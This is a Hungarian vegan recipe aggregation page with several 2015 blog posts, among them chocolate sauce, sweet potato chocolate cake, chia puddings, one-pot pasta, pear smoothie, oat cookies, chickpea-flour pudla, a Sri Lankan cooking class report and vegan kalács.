Csokiöntet (vegán)
Bármilyen süti, fagyi vagy más édesség tetejére szuperfinom csokisziurup 3 egyszerű összetevőből. Melegen folyik, fagyira csurgatva megszilárdul, és édes, nyúlós masszává válik. Imádom! Hozzávalók: 4 evőkanál főzős kakaópor 4 evőkanál kókuszolaj 1-2 evőkanál vegán “méz” vagy juhar-, rizs-, agavé vagy datolyaszirup A kókuszolajat egy kis lábasban megolvasztom alacsony lángon, majd hozzáadom a szirupot és a kakaóport. […]
Édesburgonyás csokitorta
A Húgom születésnapjára készítettem ezt a nagyon finom csokitortát kedvenc vegán szakácskönyv-íróm Dreena Burton idén megjelent új, családi vegán ételeket összegyűjtő szakácskönyvéből ( Plant-Powered Families ). Nincsen benne semmilyen klasszikus cukorféle és zsiradék sem, mégis azt kell mondjam, hogy a végeredmény nagyon tömény lett, egy szelet belőle bőven elég... :P A krém viszont isteni, önmagában is megállja a helyét akár poharas desszertnek... :) A krémességének titka a kesudió, vagy mandulakrém! Édesburgonyás csokis piskóta (egy kb. 23 cm-es tortaformához, egy darab 1 rétegű tortához; ha két rétegű tortát szeretnél, akkor megduplázhatod az alapmennyiséget a recept szerint) 1 bögre = kb. 250 ml 3/4 bögre meghámozott, megfőtt és kihűtött édesburgonya 1/2 bögre 1/4 bögre juharszirup 1 ek. balzsamecet (nálam citromlé) 2 tk. vaníliakivonat (nálam őrölt vanília) 1 bögre teljes kiőrlésű tönköly (!) liszt 1/3 bögre kókuszvirág cukor 1/4 bögre étcsoki csepp (vagy összetört étcsoki darabok) 1/2 csapott tk. tengeri só 1/4 bögre kakaópor 1 tk. (foszfátmentes) sütőpor 1 csapott tk. sütőszóda (vagy szódabikarbóna) Édesburgonyás csokikrém (kb. 2 + 1/4 bögre krémhez) 1 bögre hámozott, főtt és kihűtött édesburgonya 2/3-3/4 bögre kókuszvirág cukor, vagy más nem finomított cukor 1/2 bögre kakaópor 1/2 bögre natúr kesudió-, vagy mandulakrém 1/4 tk. tengeri só 2-5 ek. növényi tej 1 tk. vaníliakivonat (nálam őrölt vanília) Melegítsük elő a sütőt 180 fokra. Finoman olajozzuk ki a tortaformát kókuszolajjal, vagy más olajjal, és tegyünk a forma aljára méretre vágott sütőpapírt. Konyhai robotgéppel pürésítsük az édesburgonyát, 1/2 bögre vizet, a juharszirupot, a balzsamecetet (vagy citromlevet) és a vaníliát egészen addig, amíg krémes állagú lesz. Egy nagy tálban keverjük össze a lisztet, a kókuszvirág cukrot, a csokicseppet és a sót, majd szórjuk hozzá a kakaót, a sütőport és a sütőszódát. Adjuk a száraz hozzávalókhoz a krémes keveréket és alaposan keverjük össze. Öntsük bele a tortaformába és süssük 21-23 percig, vegyük ki a sütőből és hagyjuk kihűlni egy sütőrácson. Kihűlés után vágjuk fel és kenjük meg a krémmel belül és kívül a tortát. Én a torta tetejét a dr. Oetker fehér dekormix csillagaival díszítettem, amik tejmentesek. Tegyük bele egy konyhai aprítógépbe az édesburgonyát, a kókuszvirág-cukrot, a kakaót, a kesudióvajat, a tengeri sót és 1-2 ek. növényi tejet és a vaníliát. Addig keverjük a géppel, amíg jó krémes lesz! Kóstold meg, és ha édesebbre szeretnéd, adj még hozzá kókuszvirág-cukrot, ha pedig kevésbé sűrű krémet szeretnél, növényi tejjel higíthatod még 1-1 evőkanállal hozzáadva. Tedd bele egy tárolóedénybe és tartsd a hűtőben felhasználásig! TIPP - további ízvariációk: - adj hozzá 1-1,5 tk. reszelt narancshéjat, - adhatsz hozzá 0,5 tk. tiszta mandulakivonatot is, amitől enyhén cseresznyés ízbeütést kap a krém.
Sült édesburgonya céklával
Édesburgonyának hívjuk, pedig a burgonyához nem sok köze van, legfeljebb, hogy gumós növény, de a hajnalka virágokhoz már inkább, mert a hajnalka nemzetségébe tartozik. Batátának is hívják még. Magyarországon már elég elterjedt, nem csak nagyobb szupermarketek zöldséges polcain találkozhatunk vele, hanem bizonyos termelők kertjében is megterem. Angliában szinte minden zöldségárusnál vásárolhat az ember. Általában egy kilónyit 1 fontért adnak. Ha céklánk és egy kis lila hagymánk is van zseniális őszi ételt lehet alkotni belőlük. Az édesburgonya amúgy ízre, színre leginkább a sütőtökhöz hasonlítható. Megtévesztésig hasonló ízű. Vasban, káliumban, A-, B6-, C-vitaminokban gazdag. Nevével ellentétben cukorbetegek is fogyaszthatják, alacsony a glikémiás indexe. Céklával és lila hagymával párosítva egészséges őszi ételben lehet részünk.
A recept:
Hozzávalók:
- 3-4 édesburgonya
- 5-6 cékla
- 2 lila hagyma
- 3-4 gerezd fokhagyma
- kakukkfű
- ételízesítő/só
- víz
- kókuszolaj
- alufólia
Elkészítés:
Az édesburgonyákat és a céklákat megpucoljuk, kockákra vágjuk és külön lábosba, sós vízben feltesszük főzni. Addig főzzük, míg épp egy kicsit megpuhulnak. Közben a hagymákat megpucoljuk, a fokhagymát felaprítjuk, a lila hagymát szeletekre vágjuk. Fogunk egy kisebb tálat, folyékony kókuszolajat, kakukkfűvel, aprított vagy szétpréselt fokhagymával és ételízesítővel összekeverjük, majd hozzáöntünk pár kanál meleg vizet. Ezt a fűszeres lét összekeverjük, majd egy nagyobb tálban az édesburgonyára és a céklára ráöntjük, átkavarjuk, így mehet a zöldség a tepsibe (sütőpapír híján most alufóliát tettem alá), elterítjük benne, a tetejére rászórjuk a lila hagyma szeleteket, majd betesszük sütni. 15-20 perc sütéssel összeérnek az ízek. A kakukkfű a legfontosabb fűszer hozzá. Főtt gabonához is fogyaszthatjuk, vagy ezekhez a sült zöldségekhez valamilyen fasírtot is ehetünk, de magában is nagyon finom.
Hajdinás-quinoa trüffel
2015. október 22. Éltető ételek
Reggel készítettem el, a gyerekek uzsonnás dobozába került. Bár sokszor a gyerekeimnek nem is marad, mert az osztálytársak hamarabb lecsapnak rá. :) Hozzávalók: - 20 dkg datolya - 10 dkg áztatott/szárított dió - 5 dkg kókuszreszelék - 5 dkg csíráztatott/szárított hajdina - 2 evőkanál kakaópor - 4-5 csepp narancsolaj - 2-3 evőkanál puffasztott quinoa - kis marék aszalt meggy vagy áfonya picire darabolva - csipet só Elkészítése: - A datolyát és a diót aprítsuk morzsásra. - Adjuk hozzá a többi hozzávalót is, majd gombócozzuk.
Reggelire fel! - Szőlős-kendermagos és Csokis-kókuszos chia puding (gluténmentes, laktózmentes, tojásmentes, hozzáadott cukormentes, vegán, nyers)
2015. október 22. Zöld Avocado
szőlős kendermagos chia puding (mindenmentes, nyers, vegán) Mostanában ha nem valami zabból készült reggelit eszünk, akkor chia pudingot. Villámgyorsan elkészíthető, nagyon egyszerű, és pár hozzávalóból mennyei, tápláló és vitalizáló, természetesen gyomorbarát reggelit tudunk készíteni. Mint arról már korábban írtam, a zab egy lassan felszívódó, magas rosttartartalmú, az egészséges életmódhoz szervesen tartozó reggeliző gabona, melyből nagyszerű kásákat, morzsákat, kekszeket, palacsintákat, müzliszeleteket stb. lehet készíteni különféle ízesítéssel. Ez nálunk is így szokott történni azokon a napokon, amikor tudom, hogy az ebéd és a reggeli közt túl sok idő fog eltelni, vagy délelőtt sok energiára, erőre lesz szükségem, zabból készült reggelit fogyasztok. De szerencsére nem mindennap ilyen! ;-) csokis kókuszos málnás chia puding (mindenmentes, nyers, vegán) Sőt! A tél közeledtével egyre több a lusta délelőtt, a lakásban - esetleg ágyban - töltött hosszabb reggelek (főleg hétvégén). Ilyenkor nincs szükség nagy kalóriájú, eltelítő reggelikre. Gyorsan elkészíthető, tápláló és könnyű ételekre vágyunk. Sokáig ellenálltam a nagy chia puding őrületnek, de abban hiszek, hogy egyszer mindent ki kell próbálni, hogy utána véleményt tudjak alkotni róla, így hát egyik reggel a világhíressá vált chia reggeliző puding megérkezett az én konyhámba is... és azóta itt is maradt. :-) Ki ne szeretné a gyors és egyszerű, de mégis változatos ételeket? Hát ez is egy ilyen! Ráadásul sem glutént, sem laktózt, sem tojást, sem hozzáadott cukrot vagy adalékanyagot nem tartalmaz. Ha pedig télen síelésre adnánk a fejünket, és olyan szálláson szállunk meg családdal, ahol nincs tűzhely, akkor is tökéletes reggeli, mert csak összeborítjuk a hozzávalókat, várunk egy kicsit, és már ehetjük is. Ki-ki a saját maga ízesítése szerint. Az alap 3 hozzávalóból áll, és hogy utána milyen idény szerinti gyümölcsöt, olajos magot, szuper ételt, vagy fűszert teszünk hozzá, csak rajtunk múlik! ;-) Akik figyelmesen követik a blogom észrevehették, hogy chia reggelis posztom volt már nem is olyan régen. Korábban már bemutattam nektek itt a Zöld Avocado vegetáriánus gasztroblogon egy fekete áfonyás poharas chia reggelit, ami akár desszertnek is elmegy. Ebben a bejegyzésben olvashattok a chia mag jótékony hatásairól is. Annyira meghatározóvá vált a chia puding élmény a mindennapjainkban, hogy gondoltam még egy posztot megér, hátha valakit majd ezekkel az ízekkel és képekkel sikerül elcsábítanom a chia puding függők táborába. Szívesen vállalom érte a felelősséget, mert nagyon finom, és nagyon egészséges! ;-) Ebben a posztban két újabb chia reggeli ötlettel szeretnék nektek kedveskedni. A szezonnak megfelelően egy szőlős - kendermagos, és egy egész évben készíthető csokis - kókuszos változatot mutatok meg. Érzitek már a chia puding hullámot? Van kedvetek tovább szörfözni rajta? Kóstoljátok meg, mindig más és más gyümölcsökkel, extrákkal, mert megéri. ;-) szőlős kendermagos chia puding (mindenmentes, nyers, vegán) HOZZÁVALÓK (1 személyre) az ALAP CHIA REGGELIZŐ PUDINGHOZ: - 2 dl növényi tej tetszés szerint (én mandulatejet vagy kókusztej italt használok legtöbbször) - 2 evőkanál chia mag (egész) - 1 db érett banán a szőlős - kendermagos chia pudinghoz: - az alap chia puding - 1 marék szőlő - 1 ek kendermag - 1 ek őrölt arany lenmag a csokis - kókuszoshoz: - az alap chia puding - 1 marék kókusz chips - 2 ek karob por (vagy bio kakaópor) - 1 ek őrölt lenmag - 1 marék málna vagy egyéb idény szerinti gyümölcs.(Amikor a képet készítettem, még málna szezon volt.) Játszatok az alap recepttel tovább! Az extra hozzávalók, és az ízésítés terén csak a kreativitásunk szabhat határokat. Pl.: fahéj, szerecsendió, gyömbér, kókusz, goji bogyó, citrom, lime, mogyoró, brazil dió, tökmag stb. De láttam már zöld turmixból készült chia pudingot is. :-) csokis kókuszos málnás chia puding (mindenmentes, nyers, vegán) ELKÉSZÍTÉS Egyszerűen tegyük a banánt (minél érettebb, minél pötyösebb, annál édesebb), a választott növényi tejet a turmixgépbe, és készítsünk belőle banános tejet. (Ha nincs gépünk, törjük össze villával a banánt.) Öntsük ki a müzlistálba, keverjünk bele két kanál chia magot, és tegyük félre min. egy fél órára. Akár már előző este elkészíthetjük a banános tejet chia maggal, és a hűtőben tárolva pihentethetjük. Minél tovább pihen, annál sűrűbb, annál pudingszerűbb lesz az étel. (Én így jobban szeretem.) Ha csokis alapot szeretnénk, még a pihenés előtt keverjük hozzá a karob port, vagy a bio minőségű kakaóport a banános tejhez. Ezután tegyük félre pihenni. Kérdeztétek már tőlem. hogy egész szemű vagy darált chia magot használjatok? Próbáltam már mindkettővel, de nekem az egész szemű jobban bevált, és jobban ízlett. Próbáljátok ki, és döntsétek el nektek melyik tetszik jobban?! chia mag a chia pudinghoz Mielőtt készen állunk rá, hogy elfogyasszuk a jól megérdemelt reggelinket, adjuk hozzá a tetszés szerint választott gyümölcsöt / gyümölcsöket, magokat, dióféléket, fűszereket, vagy akár extra banánt, édesítőszirupot, vagy épp ellenkezőleg reszelt citromhéjat. És már fogyaszthatjuk is a kevés munkát igénylő, ám annál táplálóbb, egészséges reggelinket. Kezdjük a napot finom, tápanyagban gazdag, energiadús ételekkel, és a mosoly mellékhatásként fog jelentkezni! ;-) szőlős kendermagos chia puding (mindenmentes, nyers, vegán) TÁPLÁLKOZZ, NE CSAK ÉTKEZZ! :-) Megjegyzés1: "A kendermag kedvező biológiai összetétele és jótékony egészségügyi hatása alkalmassá teszi, hogy minden háztartásban helyet kapjon. Fontos külön kiemelni a vegetáriánus konyhában betölthető szerepét, hiszen a hús mellőzésével az egyik fő nehézség a fehérjében gazdag étrend összeállítása. A kendermag kivételes fehérjeforrás, így a szójaérzékenyek számára is alternatívát nyújt. Ezenfelül a kendermag magas rosttartalommal rendelkezik, E-vitamint és nyomelemeket - magnéziumot, káliumot és vasat - tartalmaz, valamint megtalálható benne mind a 9 esszenciális aminosav. ... " Bővebben a CKmagazin-ban csokis kókuszos málnás chia puding (mindenmentes, nyers, vegán) Megjegyzés2: Mint minden szuper étel és mesterségesen előállított, nagydózisú vitamint tartalmazó készítmény, a chia mag fogyasztása sem ajánlott nagy mennyiségben, és semmiképpen sem minden nap. A kevesebb, néha több! jelmondat itt is igaz. A napi 1-2 evőkanál adagot ne lépjük túl, és ne együnk minden nap! Tartsunk néha szünetet.
Vegán, "vajas"-meggyes keksz
2015. október 21. Mindennapi ételeink
Hozzávalók: 2,5 dl nyírfacukor 12,5 dl liszt 2 tk. vaníliás cukor 40 dkg kókuszzsír 1 citrom héja -- meggylekvár Elkészítés: A tészta hozzávalóit kimérjük, a citrom héját lereszeljük és mindezt összemorzsoljuk (a kókuszzsír legyen szoba hőmérsékletű), majd alaposan összedolgozzuk. Ezután kb. 4 cm átmérőjű hengereket formázunk belőle és letakarva hűtőbe tesszük. (Mélyhűtőbe téve eláll sokáig, bármikor előkapható). majd lisztezett felületre rakva a tetején a közepét hosszanti irányba kissé bemélyesztjük (van ilyen magyar szó? - kérdezi egy nyelvész....) -így lesz szív alakú a kekszünk, ez a rész opcionális-, majd fél centis köröket (szíveket) vágunk belőle, és sütőpapírral bélelt tepsibe tesszük. Megkenjük (a széleit szabadon hagyva) sűrű meggylekvárral, és egy kevés maradék tésztát rá is morzsolhatunk. (Én mandulaforgácsot is szoktam a lekvárra tenni). 180 fokon 15 perc alatt kisütjük.
Egyserpenyős olaszos tészta - pillanatok alatt
2015. október 16. Éltető ételek
Mostanában többször belefutottam ebbe az egyserpenyős elkészítési módba, péládul a Street Kichen oldalán. Zizi is a napokban osztotta meg azt a finomságot, így nem maradt más választásom, el kellett nekem is készítenem. Ma délelőtt rohanós napom volt, így pont jól jött ez az egyszerű recept. Egyébként nagyon sok lehetőség van benne, készíthetjük gombásan vagy éppen tejszínesen, más-más zöldséggel variálva. Úgyhogy biztos fogok még jönni ehhez hasonló receptekkel. Amennyiben el szeretnénk rejteni benne a zöldségeket (a gyerekeim sajnos nem rajonganak a padlizsánért), akkor morzsásra kell darálni. De ne legyen pépes! Egy gondolat erejéig visszatérve a receptre, több helyen sajttal írják az elkészítését. Nos, higgyétek el, sajt nélkül is nagyon finom. De ha fokozni szeretnéd az ízeket, akkor egy kis cheddal sajtot reszelhetsz bele. Ajánlották a vegán parmezán sajtot is, de nekem az összetevők révén (víz, kókuszolaj (17%), módosított keményítő, burgonyakeményítő, tengeri só, rizsfehérje, vegán parmezán íz, olíva kivonat, színezék: titánium-dioxid, béta-karotin) nem nyerte el a tetszésemet. Én úgy vagyok vele, hogy ha már sajtot szeretnék enni, akkor inkább a természetesebbet választom. Ha pedig nem találok alternatívát, akkor nem eszek mű ízeket csak azért, hogy emlékeztessen a sajtra vagy éppen a húsra. A füstölt paprikáról csak egy megjegyzés, mindenképp olyat vásároljunk, amelyik nem aromával, folyékony füsttel van ízesítve, hanem fával füstölt. Akkor most jöjjön a recept: Hozzávalók (4 fő): - 50 dkg gluténmentes fusilli vagy penne tészta - 1 közepes lilahagyma - 1 szép nagy padlizsán - 1 közepes cukkini - 2 marék spenót (elhagyható) - 3 gerezd fokhagyma - 50 dkg sűrű paradicsomlé - kis marék (kb. 6 db) szárított paradicsom - 1 kis marék friss bazsalikom - 1 kis kávéskanál oregánó (ha van, akkor friss) - 2-3 evőkanál olívaolaj - só, bors - késhegynyi chili, füstölt pirospaprika - kb. 0,8 liter forró víz - extra: cheddar sajt Elkészítése: - Kockázzuk fel kisebb darabokra vagy daráljuk morzsásra a padlizsánt és a cukkinit. - A hagymát vágjuk ketté, és szeleteljük fel. - A fokhagymát reszeljük le. - A spenótot vágjuk csíkokra. - Mindent tegyünk egy nagy lábasba és öntsük rá a forró vizet. - Fűszerezzük, jól keverjük el. - 10-12 perc alatt megfő. Közben még kóstoljuk meg, hogy szükséges-e még bele valamilyen fűszer. A végeredmény egy igazán krémes tészta lesz. Jó étvágyat!
Körtés zabpelyhes turmix (vegán)
2015. október 13. Zizi kalandjai
A körte az új banán. Tudtátok? Egyre több helyen látom, hogy turmixokba, smoothiekba banán helyett körtét tesznek. Ha finom, lédús és érett, akkor ugyanolyan jól megédesíti a turmixunkat és még krémessé is teszi. Nem beszélve arról, hogy a körte helyben terem (a banán nem), így még az ökológiai lábnyomunk is kisebb lesz egy körtés turmixszal. Mi is teszteltük ezt a körtés változatot már egy pár alkalommal és nagy kedvencünk lett!
Állandóan izgő-mozgó modell szeptemberi napsütésben egy kis trikóban…
Igyekszünk reggel és délelőtt minél több gyümölcsöt enni, de ahogy megérkezett a hűvös, hideg idő, gyakrabban vágyunk egy kis melegítő kására. Persze a tápláló, gazdag turmixok is előfordulnak azért reggelente, az egész család szereti, ráadásul Ádi nagyon élvezi, hogy részt vehet a reggeli elkészítésében: jó pár dolgot ő tesz bele a turmixgépbe és persze ő is indítja el a masinát. Fontos, hogy “Támogassuk a szervezet hajnaltól délig tartó tisztulási periódusát bőséges folyadékbevitellel, illetve gyümölcsök fogyasztásával! Használjunk erjedésgátló fűszereket, melyek segítségével csökkenthető a tökéletlen emésztés során a belekben keletkező mérgező anyagok mennyisége – fahéj és szegfűszeg a gyümölcsökhöz.” (részlet innen) – mi ezt alkalmazzuk is, többnyire fahéj formájában. Gazdagítjuk még néhány extrával (mandulavaj, extra szűz kókuszzsír, zabpehely), tehát egy sűrű, krémes turmix a végeredmény, amely eltelít bennünket egy időre. Próbáljátok ki!
Körtés zabpelyhes turmix (vegán)
Hozzávalók 3 főre:
– 4 db közepes, érett körte, kimagozva, felkockázva (nem fontos meghámozni)
– 3 evőkanál zabpehely
– 1 evőkanál lenmag
– 1 evőkanál kendermag por (opcionális, fehérjében gazdagabbá teszi az italt)
– 1 evőkanál mandulavaj (opcionális)
– 3 teáskanál extra szűz kókuszzsír
– 1 teáskanál fahéj
– 1,5-2 bögrényi zabtej (rizstej és mandulatej is használható)
(A recepthez használt bögre 250 ml-es.)
Tegyük az összes hozzávalót a robotgépbe és turmixoljuk simára. Töltsük poharakba és azonnal fogyasszuk. Ha túl sűrű, hígítsuk még zabtejjel.
Önkéntes food stylist és kóstoló…
Gyors banános zabkeksz (vegán)
2015. október 5. Zizi kalandjai
Ellát és a receptjeit nagyon szeretem. Ahogy megjelent az első könyve, egyből megvettem… aztán később nyertem tőle egy dedikált példányt is (sokat fog az érni még egy nap). Most fejezte be a második könyvét, ami jövő év elején fog megjelenni és már írja a harmadikat. Azért szeretem a receptjeit (amik gluténmentesek és vegánok), mert gyorsak, egyszerűek, az alapanyagok könnyen beszerezhetők. Egy barátnőm is megvette a könyvét és írt nekem, hogy nem igazán tetszik neki. Aztán megírtam neki, hogy nekem miért jön be… többek között, mint anyának, szükségem van gyorsan elkészíthető ételek receptjére. Van pár a tarsolyomban, meg én is össze szoktam dobni újdonságokat, de, amikor nincsen ötlet, jól jön inspirációnak Ella. Néhány hónap elteltével aztán visszajelzett a barátnőm és rájött újdonsült, szoptatós anyaként, hogy miről beszéltem, amikor a gyorsaságra és egyszerűségre helyeztem a hangsúlyt Ella könyvét illetően.
Szóval ez az szuper keksz is Ellától származik, az első könyvéből van. Öt hozzávaló kell hozzá, én tettem még bele egy hatodikat, vaníliát. Nagyon egyszerű elkészíteni, Ádit is bevontam a konyhai feladatokba, így örömmel majszolt a kisült kekszekből, amelyek elkészítésében ő is részt vett. Kiváló gyerekeknek uzsonnára, felnőtteknek tea, kávé mellé, vagy csak úgy nassolni. Próbáljátok ki!
Gyors banános zabkeksz (vegán)
Hozzávalók (kb. 15 kekszhez):
– 3 db érett banán
– 1 és 1/2 bögre zabpehely
– 4 evőkanál mandulavaj (kesudióvaj, földimogyoróvaj is használható)
– 4 evőkanál juharszirup (datolyaszirup, méz is használható)
– 1 evőkanál kókuszolaj
– 1 vaníliarúd kikapart magjai
Melegítsük elő a sütőt 180C fokra. Egy tepsit béleljünk ki sütőpapírral.
A meghámozott, felkarikázott banánokat egy tálban villával törjük pépesre. Adjuk hozzá a mandulavajat, a juharszirupot, a vaníliát és a kókuszolajat. Adjuk hozzá a zabpelyhet és jól keverjük el – ragacsos tésztát kapunk. Evőkanálnyi adagokat tegyünk a sütőpapírra, amit a tenyerünkkel vagy a kanál segítségével lapítsunk keksz formájúra. Süssük kb. 15-20 percig, amíg aranybarnák lesznek.
Vegán, epres ,,túrórudi bonbon
2015. szeptember 30. VegaNinja
Hozzávalók: 150 ml növényi tej 130 g eper 100 ml kókuszolaj 15 g rizs 1 csipet só 1 evőkanál citromlé 1 evőkanál nádcukor (vagy ennek megfelelő édesítő) fél mokkáskanál vanília őrlemény 50 g étcsokoládé 2 teáskanál repceolaj (bármilyen étolaj jó, de ennek teljesen minimális az íze, és ez jót tesz a csokinak) 1. A […]
Gluténmentes indiai lepény csicseriborsólisztből - Pudla
2015. szeptember 28. Élj harmóniában
Indiának van az egyik legősibb vegetáriánus kultúrája, ezért a tradicionális indiai ételek legtöbbje megfelel a vegetáriánus táplálkozás elvárásainak (a hagyományos indiai ételkombinációk teljes értékű fehérjével szolgálnak az emberi szervezet számára). A pudla egy indiai csicseriborsólisztből készült lepény, egyfajta sós palacsinta. A csicseriborsó számos jótékony hatással rendelkezik, nagyon tápláló, kiváló energiaforrás (részletesen egy korábbi cikkben itt olvashatsz róla). Hozzávalók: Pudla (csicseriborsólisztes lepény) - 200 g csicseriborsóliszt - 300-400 ml víz - 1/2 kk. kurkuma - 1/2 kk. római kömény - 1/2 kk. őrölt koriander - 1 tk. só - csipet hing (elhagyható vagy egy kis apróra vágott hagymával tudod helyettesíteni) - csipet fekete bors - 1 tk. reszelt gyömbér - 1 pici cukkini - 2 ek. koriander zöld (el is hagyhatod) - ghí a sütéshez (vegán változatban kókuszzsír) - citrom leve A cukkinit és a koriander zöldet mosd meg és vágd apróra. Keverd össze a száraz hozzávalókat (lisztet és a fűszereket) a vízzel - kb. palacsinta sűrűségű tészta lesz belőle. Majd keverd hozzá felaprított zöldségeket. Esetleg hagyd állni egy kicsit a tésztát. Egy serpenyőben vagy palacsintasütőben melegítsd fel a ghí-t és süsd meg az egyik oldalát, majd fordítsd meg. Ha jól átsült a kész palacsintát meglocsolhatod egy pici citromlével. Amennyiben vegetáriánusként fontos számodra a megfelelő fehérjebevitel, azt az alábbi módok valamelyikével biztosíthatod: - vegyesen tedd bele a lisztet (150g csicseriborsóliszt és 50g búzaliszt) - egyél hozzá tejterméket pl. fogyaszd tejföllel - fogyaszd valamilyen összetett szénhidrátot tartalmazó étellel pl. egyél hozzá köretnek rizst Így a szervezeted a megfelelő aminosav kombináció miatt teljes értékű fehérjéhez jut. Vegyszermentes (bio) alapanyagokat használj!
Vegetáriánus Srí Lanka-i főző kurzus a Neguránál
2015. szeptember 24. Zizi kalandjai
Üdvözlő “koktél”: epres lassi
Még a nyár elején vettem részt egy igen különleges, vegetáriánus srí lankai főzőórán a Negura Főzőiskolában. Igazából szinte vegán volt a teljes menü, egyedül a desszertben volt tojás. Gannoruwa Réka a főzőiskola tulajdonosa apai részről Srí Lanka-i és többször járt már az országban is, tehát teljes betekintést nyerhetünk a Srí Lanka-i konyha és gasztronómia világába. Így tudtuk meg azt is, hogy náluk az ételek a csípős és nagyon csípős skálán mozognak és a kisbabákat is már a csípőshöz szoktatják hozzá pici korban (egy éves kor után), szóval mire nagyobbak lesznek a nagyon csípős már fel sem tűnik nekik. Ehhez az ízvilághoz igazítják a nyugati étterem láncolatok kínálatát is, vagyis, ha Srí Lankán bemegyünk egy McDonald’s-ba szinte biztos, hogy minden hamburgerük csípős lesz.
Nagyon sokféle zöldség és gyümölcs szolgál az ételek alapjául, de természetesen esznek húst is. Az asztalokat evőeszközök nélkül terítik meg, ugyanis ők kézzel esznek, szerintük így lehet élvezettel elfogyasztani az ennivalót. Sokféle fűszerrel ízesítik az ételeiket, leggyakoribbak a chili, a kurkuma, a kardamom, a curry, a fahéj, a gyömbér, a koriander, a kömény és a lime (ez ugye gyümölcs, de fűszerként is használják). Zsiradékként kókuszzsírt használnak és nagyon sok ételbe kerül kókusztej. Legjellegzetesebb üdítő italuk a kókusz friss leve. Ezenkívül jellemző gasztronómiájukra még a napi többszöri teázás is, amelyet sok cukorral és gyakran néhány csepp tejjel isznak.
Réka / Kőkemény pálmacukor, amely keménysége ellenére olyan könnyen reszelhető, mint egy sajt
Réka irányításával kötetlen, baráti beszélgetések közepette, kellemes légkörben (gyerekeknek játszósarok van!) folyt az óra menete. Mindenki abból vette ki részét, amihez éppen kedve volt. Mire a teljes menüt elkészítettük, nagyjából képbe kerültünk a Srí Lanka-i konyhával, na és persze nagyon éhesek lettünk.
Készül a roti 1. (a srí lankaiak nemzeti kenyere, amely vékony lepénykenyér féleség)
Készül a roti 2.
Készül a roti 3.
Kisült roti felszeletelve, amelyet egy csípős zöldség raguhoz adtunk
A csípős zöldség ragu
Vadai – lencsés ropogtatnivaló fűszerezése
Vadai sütése olajban
Kisült vadaik
Az alábbi finomságokat készítettük:
– Vadai – fekete lencséből, fűszerekből és rizslisztből álló, olajban kisült ropogtatnivaló
– Roti és kottu – lepénykenyér pirított zöldség raguval
– Parippu – dal szerű fűszeres vöröslencse ragu
– Pol sambal – kókuszos sárgarépa saláta
– Watalappan – kókusztejes, fűszeres párolt puding pirított kesudióval
Mi természetesen kaptunk evőeszközöket, de lehetett kézzel is enni… / A tálalt ételek… mennyei volt minden!
Feltétlen ajánlom minden érdeklődőnek a Negura óráit, akik szeretnének egy falat Srí Lankába belekóstolni!
További főző kurzus időpontok itt.
A kurzuson a {Negura} meghívásának köszönhetően vettem részt. A véleményem csakis a sajátom.
Datolyás almatorta
2015. szeptember 24. Éltető ételek
Gyakran készítek nyers édességeket, ennek a tortának az elkészítése sem volt több 30 percnél. Persze érdemes a hűtőben pihentetni úgy 1-2 órát, utána szépen szeletelhető és fogyasztható is. Nem kell sütni, gluténmentes, cukormentes és vegán is. Szóval... szuper egészséges. Hozzávalók: Tészta: - 10 dkg áztatott/szárított dió - 10 dkg datolya - 5 dkg kókuszreszelék - 3 dkg darált arany lenmag - vaníliapor - fahéj Alma töltelék: - 50 dkg alma - 5 dkg datolya - 2 evőkanál útifűmaghéj - szegfűszeg - gyömbér - fahéj - vaníliapor Bevonat: - 10 dkg datolya - 1/2 banán - 2 evőkanál olvasztott kakaóvaj - 1/2 mokkáskanál szegfűszeg Elkészítése: - A datolyát áztassuk be úgy 1-2 órára, de csak éppen annyi vízben, hogy ellepje. Érdemes előtte kisebb darabokra felvágni a datolyát. - A tésztához a diót és a datolyát késes darálóval dolgozzuk homogénné. Gyúrjuk hozzá a többi hozzávalót is. - Egy 18 cm-es tortaformába jó alaposan nyomkodjuk bele a tésztát. - Az almát mossuk meg (nem kell meghámozni), és magozzuk ki. Daraboljuk fel annyira, hogy még ne legyen pépes, kissé darabos maradjon. Adjuk hozzá a többi hozzávalót is. Tegyük rá a tésztára. - A harmadik réteghez mindent turmixoljunk össze, és mehet is az almás rétegre. - Tegyük be a hűtőbe pár órára.
Vegán kalács
2015. szeptember 23. Zizi kalandjai
Noha szeretem a kelt tésztás süteményeket, ritkán fogok neki az elkészítésüknek. Mostanában csak a főzésre koncentrálok, örülök, hogy ezt tudom abszolválni, sütésre már nem igazán marad idő. Vagyis készülnek édességek, de azok többnyire nyersek, amit a robotgépben össze tudok aprítani/pürésíteni, beteszem a hűtőbe és már készen is van. Nem kell dagasztani, keleszteni, mégis van édesség.
Ezzel nem azt akarom mondani, hogy egy időigényes kelt tészta, sütemény elkészítése nem lehet relaxáló… de igenis lehet, csak ne ugráljon az ember lánya mellett egy 2 éves. Szóval nagy ritkán, amikor igazán kedvet kapok hozzá, bevetem magam a konyhába és bármi áron is képes vagyok például egy kalácsot megsütni. Főleg, ha az kihívást is jelent, akkor igazán izgalmas a dolog (mert például vegán kalács, amit még soha nem készítettem). Így született meg életem első vegán kalácsa. Még nem lett olyan foszlós, mint a nagymamám (és anyukám) változata, de közel jár hozzá. Gondolom csak gyakorolnom kell a dagasztás rejtelmeit és még többet koncentrálnom az elkészítésére és egyszer én is foszlós kalács gyártó leszek.
Nektek van tuti vegán kalács receptetek?
Vegán kalács
Hozzávalók:
– 450 g tönköly fehérliszt + egy kevés a gyúráshoz, formázáshoz
– 40 g kókuszzsír (ha van extra szűz, az még jobb, de lehet használni jó minőségű margarint is)
– 25 g friss élesztő vagy 9 g szárított élesztő
– 80 g nádcukor
– 170 ml rizstej (zab-, mandula- vagy szójatej is használható)
– csipet só
A hozzávalókat egy órával a kezdés előtt tegyük szobahőmérsékletű helyre. A sütőt melegítsük elő 180C fokra.
Az élesztőt 50 ml langyos tejjel elkeverjük és beleöntjük a sóval és cukorral elkevert átszitált lisztbe. Összekeverjük és kb. 10-15 percig állni hagyjuk. Hozzáöntjük a maradék langyos tejet, az olvasztott kókuszzsírt, majd gyúrjuk, hogy nyúlós, de nem ragadós tésztát kapjunk (a tészta elválik a táltól és szép fényes lesz; ha szükséges, adjunk még hozzá lisztet). Meleg helyen, letakarva egy órát kelesztjük.
A tésztát deszkára/gyúrólapra borítjuk, három egyenlő részre osztjuk és egyenként kisodorjuk, kicsit megcsavargatjuk. A három szálat megfonjuk és kókuszzsírral kikent tepsibe rakjuk, majd fél órát pihentetjük. Rizstejjel megkenjük a kalács tetejét és az előmelegített sütőben aranybarnára sütjük.
Kókuszzsírban sült tepsis burgonya
2015. szeptember 21. Mindennapi ételeink
